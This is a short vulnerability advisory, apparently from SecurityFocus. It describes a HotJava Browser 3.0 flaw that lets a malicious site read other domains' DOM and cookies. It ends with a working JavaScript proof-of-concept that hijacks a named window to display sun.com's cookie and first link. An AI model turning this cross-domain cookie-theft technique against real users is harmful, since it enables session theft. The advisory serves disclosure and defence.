source: https://www.securityfocus.com/bid/1837/info
A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser.
The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.
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Demo - HotJava Browser 3.0 JavaScript security vulnerability
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Demo - HotJava Browser 3.0 JavaScript security vulnerability
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This page shows the cookie and the first link from from www.sun.com in 10 seconds
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Written by Georgi Guninski
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window.open("http://www.sun.com","g");setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);</SCRIPT><center>(C) Copyright 2000 Georgi Guninski</center><BR><center>
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